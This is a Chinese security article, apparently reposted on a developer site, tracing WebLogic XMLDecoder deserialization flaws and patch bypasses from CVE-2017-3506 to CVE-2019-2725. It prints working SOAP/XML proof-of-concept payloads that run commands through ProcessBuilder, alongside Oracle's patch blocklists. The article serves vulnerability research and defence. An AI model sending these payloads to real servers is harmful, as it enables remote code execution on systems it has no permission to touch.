浅谈Weblogic反序列化——XMLDecoder的绕过史

栏目: Java · 发布时间: 5年前

内容简介:从CVE-2017-3506为起点至今,weblogic接二连三的吧爆出了大量的反序列化漏洞,而这些反序列化漏洞的很大一部分,都是围绕着XMLDecoder的补丁与补丁的绕过展开的,所以笔者以CVE-2017-3506为起点,到近期的CVE-2019-2725及其绕过来谈一谈这两年weblogic在XMLDecoder上的缝缝补补。首先去看一下XMLDecoder的官方文档,如下:

浅谈Weblogic反序列化——XMLDecoder的绕过史

从CVE-2017-3506为起点至今,weblogic接二连三的吧爆出了大量的反序列化漏洞,而这些反序列化漏洞的很大一部分,都是围绕着XMLDecoder的补丁与补丁的绕过展开的,所以笔者以CVE-2017-3506为起点,到近期的CVE-2019-2725及其绕过来谈一谈这两年weblogic在XMLDecoder上的缝缝补补。

认识XMLDecoder

首先去看一下XMLDecoder的官方文档,如下:

XMLDecoder 类用于读取使用 XMLEncoder 创建的 XML 文档,用途类似于 ObjectInputStream。例如,用户可以使用以下代码片段来读取以 XML 文档形式(通过 XMLEncoder 类写入)定义的第一个对象:

XMLDecoder d = new XMLDecoder(new BufferedInputStream(new FileInputStream("Test.xml")));

Object result = d.readObject();

d.close();

作为一名 java 反序列化的研究人员,看到readObject()函数就应该带有一丝兴奋,至少代表我们找到入口了。

先不去管在weblogic上的利用,我们先构造一个特殊的poc.xml文件,让XMLDecoder去解析一下,看一下流程

<java>
    <object class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="3">
            <void index="0">
                <string>/bin/bash</string>
            </void>
            <void index="1">
                <string>-c</string>
            </void>
            <void index="2">
                <string>ls</string>
            </void>
        </array>
        <void method="start"/>
    </object>
</java>

再写一个简单的利用XMLDecoder解析xml文件的demo,

import java.beans.XMLDecoder;
import java.io.*;

public class Main {
    public static void main(String[] args) throws IOException, InterruptedException {
        File file = new File("poc.xml");
        XMLDecoder xd = null;
        try {
            xd = new XMLDecoder(new BufferedInputStream(new FileInputStream(file)));
        } catch (Exception e) {
            e.printStackTrace();
        }
        Object s2 = xd.readObject();
        xd.close();

    }
}

因为会触发命令执行,所以先直接在ProcessBuilder的start函数上打上断点,看一下调用栈,

浅谈Weblogic反序列化——XMLDecoder的绕过史

我们关注的重点在于从xml到ProcessBuilder类被实例化的过程,所以去跟进一下DocumentHandler类,我们去看几个核心函数,

首先看到了构造函数,看一看到为不同的标签定义了不同的Handler,

浅谈Weblogic反序列化——XMLDecoder的绕过史

再看一下startElement函数,它用来实例化对应的Element,并给当前handler设置Owner和Parent,关于Owner和Parent,直接引用@fnmsd写的内容:

parent

最外层标签的ElementHandler的parent为null,而后依次为上一级标签对应的ElementHandler。

owner

ElementHandler: 固定owner为所属DocumentHandler对象。

DocumentHandler: owner固定为所属XMLDecoder对象。

浅谈Weblogic反序列化——XMLDecoder的绕过史

然后看一下endElement函数,

浅谈Weblogic反序列化——XMLDecoder的绕过史

他会直接调用对应的ElementHandler的endElement函数,代码如下,

浅谈Weblogic反序列化——XMLDecoder的绕过史

接下来一连串的Handler的getValueObject调用之后,到达了ObjectElementHandler的getValueObject函数,并在该函数内将我们标签内的值传给了Expression类,

浅谈Weblogic反序列化——XMLDecoder的绕过史

在调用了getValue方法后,成功将ProcessBuilder类的实例返回,

浅谈Weblogic反序列化——XMLDecoder的绕过史

接下来再返回给VoidElementHandler将start函数传过来,调用start函数,命令执行成功。

浅谈Weblogic反序列化——XMLDecoder的绕过史

最后补上一张@ fnmsd给出的XMLDecoder解析xml的流程图以加深理解。

浅谈Weblogic反序列化——XMLDecoder的绕过史

CVE-2017-3506

上一节已经可以看到,XMLDecoder在解析xml的时候,通过构造特殊的xml文件是可以造成命令执行的,接下来我们就可以来看一下第一个weblogic由于XMLDEcoder导致的命令执行漏洞CVE-2017-3506。

先上POC,

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java>
                <object class="java.lang.ProcessBuilder">
                    <array class="java.lang.String" length="3">
                        <void index="0">
                            <string>/bin/bash</string>
                        </void>
                        <void index="1">
                            <string>-c</string>
                        </void>
                        <void index="2">
                            <string> open /Applications/Calculator.app/</string>
                        </void>
                    </array>
                    <void method="start"/>
                </object>
            </java>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

调用链我们只跟到XMLDecoder.readObject(),因为剩下的都是上一节的内容了,

浅谈Weblogic反序列化——XMLDecoder的绕过史

在processRequest函数中,会对传入的payload进行分割,把真正的xml交给readHeaderOld函数处理,

浅谈Weblogic反序列化——XMLDecoder的绕过史

readHeaderOld函数则是将真正的xml传给XMLDecoder,并在后续的一连串调用中将XMLDecoder实例化调用其readObject函数,于是便造成了命令执行。

浅谈Weblogic反序列化——XMLDecoder的绕过史

CVE-2017-10271

在CVE-2017-3506爆出后,我们去看一下官方的补丁,代码如下:

private void validate(InputStream is) {

      WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();

      try {

         SAXParser parser = factory.newSAXParser();

         parser.parse(is, new DefaultHandler() {

            public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {

               if(qName.equalsIgnoreCase("object")) {

                  throw new IllegalStateException("Invalid context type: object");

               }

            }

         });

      } catch (ParserConfigurationException var5) {

         throw new IllegalStateException("Parser Exception", var5);

      } catch (SAXException var6) {

         throw new IllegalStateException("Parser Exception", var6);

      } catch (IOException var7) {

         throw new IllegalStateException("Parser Exception", var7);

      }

   }

补丁非常的简单,一旦标签是object,系统报错,于是立马出了第二版的poc,CVE-2017-10271:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java>
                <void class="java.lang.ProcessBuilder">
                    <array class="java.lang.String" length="3">
                        <void index="0">
                            <string>/bin/bash</string>
                        </void>
                        <void index="1">
                            <string>-c</string>
                        </void>
                        <void index="2">
                            <string> open /Applications/Calculator.app/</string>
                        </void>
                    </array>
                    <void method="start"/>
                </void>
            </java>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

乍一看这个poc,简直和CVE-2017-3506一模一样,唯一得到区别就是

<object class=”java.lang.ProcessBuilder”>变成了

<void class=”java.lang.ProcessBuilder”>

仅仅是类的标签类型由object变成了void,我们去看一下VoidElementHandler的源码:

浅谈Weblogic反序列化——XMLDecoder的绕过史

可以看到VoidElementHandler是ObjectElementHandler类的子类,这也就解释了为什么把object标签换成Void标签也同样可以造成命令执行。

CVE-2019-2725

时隔一年多,CVE-2019-2725爆出,这次的漏洞是要分两块来看的,

  1. 新爆出的存在反序列化的组件_async
  2. CVE-2017-10271的补丁被绕过

首先看第一点,在ProcessBuilder的start函数上打一个断点,先看一下async组件在处理xml时候的调用链(老规矩只追到XMLDecoder.readObject函数),

浅谈Weblogic反序列化——XMLDecoder的绕过史

引用廖大神的分析思路,请求会经过webservice注册的21个Handler来处理,看一下HandlerIterator类,就能发现对应的21个Handler,

浅谈Weblogic反序列化——XMLDecoder的绕过史

21个Handler里面AsyncResponseHandler应该是我们重点关注的那一个,跟进去看一下源码的handleRequest方法,

浅谈Weblogic反序列化——XMLDecoder的绕过史

可以看到要想让程序往下走,必须保证var2有值,也就是RelatesTo有值,这也就是为什么payload里面有

<wsa:Action>xx</wsa:Action>

<wsa:RelatesTo>xx</wsa:RelatesTo>

这两行的原因。

关于WS-Addressing的使用,也可以去参考官方文档( https://www.w3.org/Submission/ws-addressing/ ),有助于深刻理解。

走过各种Handler后来到WorkAreaServerHandler,对xml进行了拆分,接下来的调用就和前面一样了(xml交给XMLDecoder,调用readObject方法),

浅谈Weblogic反序列化——XMLDecoder的绕过史

分析完async组件后,就来到了另一个问题上,如何绕过CVE-2017-10271的补丁,老套路,我们先看一下补丁内容,

private void validate(InputStream is) {

      WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();

      try {

         SAXParser parser = factory.newSAXParser();

         parser.parse(is, new DefaultHandler() {

            private int overallarraylength = 0;

            public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {

               if(qName.equalsIgnoreCase("object")) {

                  throw new IllegalStateException("Invalid element qName:object");

               } else if(qName.equalsIgnoreCase("new")) {

                  throw new IllegalStateException("Invalid element qName:new");

               } else if(qName.equalsIgnoreCase("method")) {

                  throw new IllegalStateException("Invalid element qName:method");

               } else {

                  if(qName.equalsIgnoreCase("void")) {

                     for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {

                        if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {

                           throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));

                        }

                     }

                  }

                  if(qName.equalsIgnoreCase("array")) {

                     String var9 = attributes.getValue("class");

                     if(var9 != null && !var9.equalsIgnoreCase("byte")) {

                        throw new IllegalStateException("The value of class attribute is not valid for array element.");

                     }

这次的补丁内容我们文字化一下:

  1. 禁用object、new、method标签
  2. 如果使用void标签,只能有index属性
  3. 如果使用array标签,且标签使用的是class属性,则它的值只能是byte

这次的补丁可以说是比上一次严格的多,前两点虽然很大程度上限制了我们不能随意生成对象,调用方法,但好在还有一个class标签可以使用,最关键的还在于第三点,它限制了我们的参数不能再是String类型,而只能是byte类型,所以我们的思路只能从这一点出发,整理一下思路,我们要寻找的是这样一个类:

  1. 他的成员变量是byte类型
  2. 在该类进行实例化的时候就能造成命令执行。

于是便有了oracle.toplink.internal.sessions.UnitOfWorkChangeSet来满足我们的需求。

看一下构造函数,该类会对传给它的byte值进行反序列化,可以看到这是一个标准的二次反序列化,于是满足二次反序列的payload应该都可以用,如AbstractPlatformTransactionManager、7u21等等。

浅谈Weblogic反序列化——XMLDecoder的绕过史

具体payload如下:

<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java><class><string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string><void><array class="byte" length="8970">
                <void index="0">
                <byte>-84</byte>
                ...
                ...
            </array></void></class>
            </java>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

关于二次反序列的原理不再一一分析,大佬们早已经给出了非常详尽的解释,有兴趣可以去廖大神的博客( http://xxlegend.com)学习一下,也可以选择读一下ysoserial的7u21 模块代码就ok。

针对此次漏洞,官方给出的修复补丁处理比较简单,禁用class标签。

private void validate(InputStream is) {

   WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();

   try {

      SAXParser parser = factory.newSAXParser();

      parser.parse(is, new DefaultHandler() {

         private int overallarraylength = 0;

         public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {

            if (qName.equalsIgnoreCase("object")) {

               throw new IllegalStateException("Invalid element qName:object");

            } else if (qName.equalsIgnoreCase("class")) {

               throw new IllegalStateException("Invalid element qName:class");

            } else if (qName.equalsIgnoreCase("new")) {

               throw new IllegalStateException("Invalid element qName:new");

            } else if (qName.equalsIgnoreCase("method")) {

               throw new IllegalStateException("Invalid element qName:method");

            } else {

               if (qName.equalsIgnoreCase("void")) {

                  for(int i = 0; i < attributes.getLength(); ++i) {

                     if (!"index".equalsIgnoreCase(attributes.getQName(i))) {

                        throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(i));

                     }

                  }

               }

               if (qName.equalsIgnoreCase("array")) {

                  String attClass = attributes.getValue("class");

                  if (attClass != null && !attClass.equalsIgnoreCase("byte")) {

                     throw new IllegalStateException("The value of class attribute is not valid for array element.");

                  }

                  String lengthString = attributes.getValue("length");

                  if (lengthString != null) {

                     try {

                        int length = Integer.valueOf(lengthString);

                        if (length >= WorkContextXmlInputAdapter.MAXARRAYLENGTH) {

                           throw new IllegalStateException("Exceed array length limitation");

                        }

                        this.overallarraylength += length;

                        if (this.overallarraylength >= WorkContextXmlInputAdapter.OVERALLMAXARRAYLENGTH) {

                           throw new IllegalStateException("Exceed over all array limitation.");

                        }

不过7u21模块有一点要提一下,7u21模块利用的最后会通过将TemplatesImpl对象的_bytecodes变量动态生成为对象,于是该类的static block和构造函数便会自动执行,而这个类又是攻击者可以随便构造的,于是便造成了命令执行。

由于此次漏洞的payload是byte写的,而由于攻击利用类又是动态生成的,所以分析攻击者的代码是个比较麻烦的事情,所以下面给出如何将payload中攻击者代码还原出来的方法。

  1. 开启weblogic远程调试,并把断点打在ProcessBuilder类的start函数中(因为此时攻击类已经动态生成成功,但是没法直接在编译器里查看代码)

浅谈Weblogic反序列化——XMLDecoder的绕过史

  1. 使用jps -l命令查看weblogic的pid

浅谈Weblogic反序列化——XMLDecoder的绕过史

3、运行sudo java -cp $JAVA_HOME/lib/sa-jdi.jar sun.jvm.hotspot.HSDB命令查看对应PID的内存,

浅谈Weblogic反序列化——XMLDecoder的绕过史

4、搜索内存中的动态生成类,并生成class文件,反编译一下,就可以看到攻击者写的自定义类了。

浅谈Weblogic反序列化——XMLDecoder的绕过史

CVE-2019-2725绕过

最近网上又流传了CVE-2019-2725绕过的poc,如下:

<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java>
                <array method="forName">
                    <string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string>
                    <void>
                        <array class="byte" length="3748">
                            ...
                        </array>
                    </void>
                </array>
            </java>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

刚拿到poc的时候,看了一下思路,因为<class>标签被禁了,所以通过

<array method=”forName”>来绕过补丁。思路是比较清晰的,通过Class.forName(classname)来取到我们想要的类,从而绕过class标签被禁的问题。

但刚看到这个poc的时候,我第一个疑问就是,array居然可以使用method属性吗?所以立马去看了一下ArrayElementHandler类的内容,

浅谈Weblogic反序列化——XMLDecoder的绕过史

只支持length标签,但是它是NewElementHandler的子类,那再去看看NewElementHandler

浅谈Weblogic反序列化——XMLDecoder的绕过史

支持class标签,但是它是ElementHandler的子类,再去看一下ElementHandler

浅谈Weblogic反序列化——XMLDecoder的绕过史

发现到最后也没找到它支持method属性。

马上去我自己的环境里面试一下,没法复现成功,一度以为这个poc是假的,但后来想了一下,我的环境里面只有1.7和1.8的jdk,会不会是jdk版本太高了,立马去1.6试一下,果然复现成功,看来1.6的XMLDecoder的代码和1.7\1.8不太一样。

浅谈Weblogic反序列化——XMLDecoder的绕过史

去跟进一下jdk 1.6的XMLDecoder,根据原理去写一个简单一点的poc.xml,测试demo继续使用第一章的就行

<?xml version="1.0" encoding="UTF-8"?>
<java>
    <array method="forName">
        <string>java.lang.ProcessBuilder</string>
        <void>
        <array class="java.lang.String" length="3">
            <void index="0">
                <string>/bin/bash</string>
            </void>
            <void index="1">
                <string>-c</string>
            </void>
            <void index="2">
                <string>open /Applications/Calculator.app/</string>
            </void>
        </array>
        <void method="start" />
        </void>
    </array>
</java>

发现jdk1.6的XMLDecoder代码简单很多,根本没有那么多的ElementHandler,直接统一放在ObjectHandler的代码里面处理。

而对标签的处理,也可以说是非常的朴实无华了,看一下startElement,

public void startElement(String var1, AttributeList var2) throws SAXException {
    ...

...

        String var8 = (String)var3.get("method");
        if (var8 == null && var6 == null) {
            var8 = "new";
        }

        var4.setMethodName(var8);
     ...

...
        } else if (var1 == "array") {
            var14 = (String)var3.get("class");
            Class var10 = var14 == null ? Object.class : this.classForName2(var14);
            var11 = (String)var3.get("length");
            if (var11 != null) {
                var4.setTarget(Array.class);
                var4.addArg(var10);
                var4.addArg(new Integer(var11));
            }

我这里只截取关键部分代码,首先可以看到代码根本不管你的标签是什么,只要有methond属性,那就算作你的方法名,并且如果你的标签是array标签,而有没有class属性,自动给你补一个Class,完美契合需求,所以就可以直接通过Class.forName来取到我们需要的类了。

这样也就绕过了对class标签的过滤,不过只能在1.6的jdk利用。

思考与总结

根据近些年weblogic由于XMLDecoder导致的反序列漏洞的缝缝补补中,可以看到虽然绕过的poc层出不穷,但是利用的范围却越来越窄,从一开始的所有jdk通用,到7u21以下可以利用成功,再到最近的绕过已经只能在1.6利用成功,可以看到,保持jdk版本的高版本可以有效的防范java反序列化攻击。与此同时,对于基本用不到的weblogic组件,还是能删就删为好。

引用

http://www.lmxspace.com/2019/06/05/Xmldecoder%E5%AD%A6%E4%B9%A0%E4%B9%8B%E8%B7%AF/

https://blog.csdn.net/fnmsd/article/details/89889144

http://xxlegend.com/2017/12/23/Weblogic%20XMLDecoder%20RCE%E5%88%86%E6%9E%90/

http://xxlegend.com/2019/04/30/CVE-2019-2725%E5%88%86%E6%9E%90/


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

大数据之路

大数据之路

阿里巴巴数据技术及产品部 / 电子工业出版社 / 2017-7-1 / CNY 79.00

在阿里巴巴集团内,数据人员面临的现实情况是:集团数据存储已经达到EB级别,部分单张表每天的数据记录数高达几千亿条;在2016年“双11购物狂欢节”的24小时中,支付金额达到了1207亿元人民币,支付峰值高达12万笔/秒,下单峰值达17.5万笔/秒,媒体直播大屏处理的总数据量高达百亿级别且所有数据都需要做到实时、准确地对外披露……巨大的信息量给数据采集、存储和计算都带来了极大的挑战。 《大数据......一起来看看 《大数据之路》 这本书的介绍吧!

MD5 加密
MD5 加密

MD5 加密工具

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具